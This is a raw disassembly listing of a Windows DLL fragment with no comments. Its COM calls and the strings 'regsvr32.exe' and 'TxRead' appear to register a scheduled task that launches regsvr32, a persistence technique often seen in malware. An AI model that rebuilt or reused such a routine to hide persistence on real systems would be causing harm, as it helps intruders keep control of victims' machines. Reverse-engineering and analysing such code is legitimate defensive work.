call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009d24
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009d1a
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009d4f
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0xb4]
lea edx, [ebp - 0xb0]
push edx
mov dword [ebp - 0xb0], 0
push 0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x30]
mov ecx, dword [ebp - 0xb4]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10009e19
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009ddf
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009dd5
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009e0a
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov ecx, dword [ebp - 0xb0]
lea edx, [ebp - 0x44]
push edx
mov dword [ebp - 0x44], 0
push str.MbLk
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ecx, dword [ebp - 0xb0]
mov esi, eax
push ecx
mov edx, dword [ecx]
call dword [edx + 8]
test esi, esi
jns 0x10009ed9
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009e9f
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009e95
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x10009eca
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov eax, dword [ebp - 0x44]
push 0xc
mov eax, dword [eax]
mov eax, dword [eax + 0x2c]
mov dword [ebp - 0x1c], eax
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0xf
test esi, esi
je 0x10009f20
push str.regsvr32.exe
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a73e
jmp 0x10009f22
xor esi, esi
mov byte [ebp - 4], 6
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a748
mov byte [ebp - 4], 0x10
push dword [esi]
push dword [ebp - 0x44]
call dword [ebp - 0x1c]
mov byte [ebp - 4], 6
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x10009f81
mov eax, dword [esi]
test eax, eax
je 0x10009f5f
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x10009f76
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
mov eax, dword [eax]
cmp dword [ecx + 0x14], 7
mov eax, dword [eax + 0x3c]
mov dword [ebp - 0x1c], eax
mov eax, ecx
jbe 0x10009f99
mov eax, dword [ecx]
push dword [ecx + 0x10]
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
push eax
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
call fcn.10006af0
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0xf0]
call fcn.10006cf0
push eax
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x12
call fcn.10008160
mov byte [ebp - 4], 0x13
lea eax, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 7
push 0xc
cmova eax, dword [ebp - 0xd0]
mov dword [ebp - 0x3c], eax
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0x14
test esi, esi
je 0x1000a046
push dword [ebp - 0x3c]
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x1000a048
cmp dword [ebp - 0x3c], eax
jne 0x1000a752
jmp 0x1000a048
xor esi, esi
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a75c
mov byte [ebp - 4], 0x15
push dword [esi]
push dword [ebp - 0x44]
call dword [ebp - 0x1c]
mov dword [ebp - 0x1c], eax
or ecx, 0xffffffff
lock xadd dword [esi + 8], ecx
dec ecx
jne 0x1000a0a6
mov ecx, dword [esi]
test ecx, ecx
je 0x1000a084
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000a09b
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0xbc]
cmp ecx, 7
jbe 0x1000a0ea
mov edx, dword [ebp - 0xd0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000a0e0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a766
push ecx
push edx
call fcn.100128c5
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 7
mov word [ebp - 0xd0], ax
cmp ecx, 7
jbe 0x1000a14b
mov edx, dword [ebp - 0x110]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000a141
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a766
push ecx
push edx
call fcn.100128c5
add esp, 8
xor eax, eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 7
mov word [ebp - 0x110], ax
cmp ecx, 7
jbe 0x1000a1ac
mov edx, dword [ebp - 0xf0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000a1a2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a766
push ecx
push edx
call fcn.100128c5
add esp, 8
cmp dword [ebp - 0x1c], 0
jge 0x1000a245
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1000a20b
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000a201
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000a236
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x48]
mov eax, dword [eax]
cmp dword [ecx + 0x14], 7
mov eax, dword [eax + 0x34]
mov dword [ebp - 0x1c], eax
mov eax, dword [ecx + 0x10]
jbe 0x1000a25e
mov ecx, dword [ecx]
push eax
xorps xmm0, xmm0
mov dword [ebp - 0xe0], 0
push ecx
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xdc], 0
movups xmmword [ebp - 0xf0], xmm0
call fcn.10006af0
lea eax, [ebp - 0x110]
mov byte [ebp - 4], 0x16
push eax
lea ecx, [ebp - 0xf0]
call fcn.1000cc30
push eax
lea ecx, [ebp - 0xd0]
mov byte [ebp - 4], 0x17
call fcn.10008160
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0xd0]
cmp dword [ebp - 0xbc], 7
push 0xc
cmova eax, dword [ebp - 0xd0]
mov dword [ebp - 0x48], eax
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0x19
test esi, esi
je 0x1000a309
push dword [ebp - 0x48]
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
jne 0x1000a30b
cmp dword [ebp - 0x48], eax
jne 0x1000a76b
jmp 0x1000a30b
xor esi, esi
mov byte [ebp - 4], 0x18
mov dword [ebp - 0x28], esi
test esi, esi
je 0x1000a775
mov byte [ebp - 4], 0x1a
push dword [esi]
push dword [ebp - 0x44]
call dword [ebp - 0x1c]
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000a366
mov eax, dword [esi]
test eax, eax
je 0x1000a344
push eax
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000a35b
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0xbc]
cmp ecx, 7
jbe 0x1000a3aa
mov edx, dword [ebp - 0xd0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000a3a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a77f
push ecx
push edx
call fcn.100128c5
add esp, 8
xor eax, eax
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0xfc]
mov dword [ebp - 0xc0], 0
mov dword [ebp - 0xbc], 7
mov word [ebp - 0xd0], ax
cmp ecx, 7
jbe 0x1000a40b
mov edx, dword [ebp - 0x110]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000a401
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a77f
push ecx
push edx
call fcn.100128c5
add esp, 8
xor eax, eax
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x100], 0
mov dword [ebp - 0xfc], 7
mov word [ebp - 0x110], ax
cmp ecx, 7
jbe 0x1000a46c
mov edx, dword [ebp - 0xf0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x1000a462
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a77f
push ecx
push edx
call fcn.100128c5
add esp, 8
mov eax, dword [ebp - 0x44]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0xd4], 0
push 0x1003aee8
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov dword [ebp - 0x28], eax
mov eax, 8
mov word [ebp - 0x150], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x148], eax
test eax, eax
je 0x1000a784
movups xmm0, xmmword [ebp - 0x150]
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x108]
push eax
movups xmmword [ebp - 0x80], xmm0
call esi
movups xmm0, xmmword [ebp - 0x108]
lea eax, [ebp - 0x160]
push eax
movups xmmword [ebp - 0xe8], xmm0
call esi
mov byte [ebp - 4], 0x1d
movups xmm0, xmmword [ebp - 0x160]
mov eax, dword [ebp - 0x24]
push 0xc
movups xmmword [ebp - 0xc8], xmm0
mov dword [ebp - 0x1c], eax
call fcn.100128d3
mov esi, eax
add esp, 4
mov dword [ebp - 0x48], esi
mov byte [ebp - 4], 0x1e
test esi, esi
je 0x1000a534
push str.TxRead
mov dword [esi + 4], 0
mov dword [esi + 8], 1
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [esi], eax
test eax, eax
je 0x1000a78e
jmp 0x1000a536
xor esi, esi
mov byte [ebp - 4], 0x1d
mov dword [ebp - 0x48], esi
test esi, esi
je 0x1000a798
mov byte [ebp - 4], 0x1f
lea eax, [ebp - 0xd4]
movups xmm0, xmmword [ebp - 0x80]
push eax
sub esp, 0x10
mov eax, esp
push 3
sub esp, 0x10
movups xmmword [eax], xmm0
mov eax, esp
sub esp, 0x10
movups xmm0, xmmword [ebp - 0xe8]
movups xmmword [eax], xmm0
mov eax, esp
movups xmm0, xmmword [ebp - 0xc8]
push 6
push dword [ebp - 0x1c]
movups xmmword [eax], xmm0
push dword [esi]
push dword [ebp - 0x20]
call dword [ebp - 0x28]
mov dword [ebp - 0x1c], eax
or eax, 0xffffffff
lock xadd dword [esi + 8], eax
dec eax
jne 0x1000a5cc
mov ecx, dword [esi]
test ecx, ecx
je 0x1000a5aa
push ecx
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
mov dword [esi], 0
mov eax, dword [esi + 4]
test eax, eax
je 0x1000a5c1
push eax
call fcn.10012926
add esp, 4
mov dword [esi + 4], 0
push 0xc
push esi
call fcn.100128c5
add esp, 8
mov esi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
lea eax, [ebp - 0x160]
push eax
call esi
lea eax, [ebp - 0x108]
push eax
call esi
lea eax, [ebp - 0x150]
mov byte [ebp - 4], 6
push eax
call esi
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
cmp dword [ebp - 0x1c], 0
jge 0x1000a67d
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x1000a643
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x1000a639
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push edx
push ecx
call fcn.100128c5
add esp, 8
test edi, edi
je 0x10008eae
mov ecx, dword [ebp - 0x4c]
mov eax, edi
sub ecx, edi
cmp ecx, 0x1000
jb 0x1000a66e
mov edi, dword [eax - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
push ecx
push edi
call fcn.100128c5
add esp, 8
jmp 0x10008eae
mov eax, dword [ebp - 0xd4]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0x2c]
test ecx, ecx
je 0x10009c74
mov edx, dword [ebp - 0x58]
mov eax, ecx
sub edx, ecx
cmp edx, 0x1000
jb 0x10009c6a
mov ecx, dword [eax - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000a739
jmp 0x10009c6a
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
call fcn.10005830
call fcn.10008940
call fcn.10017b2f
call fcn.10005830
call fcn.10008940
call fcn.10017b2f
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
call fcn.10017b2f
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
call fcn.10017b2f
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
call fcn.10017b2f
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
push 0x8007000e
call fcn.10013a00
int3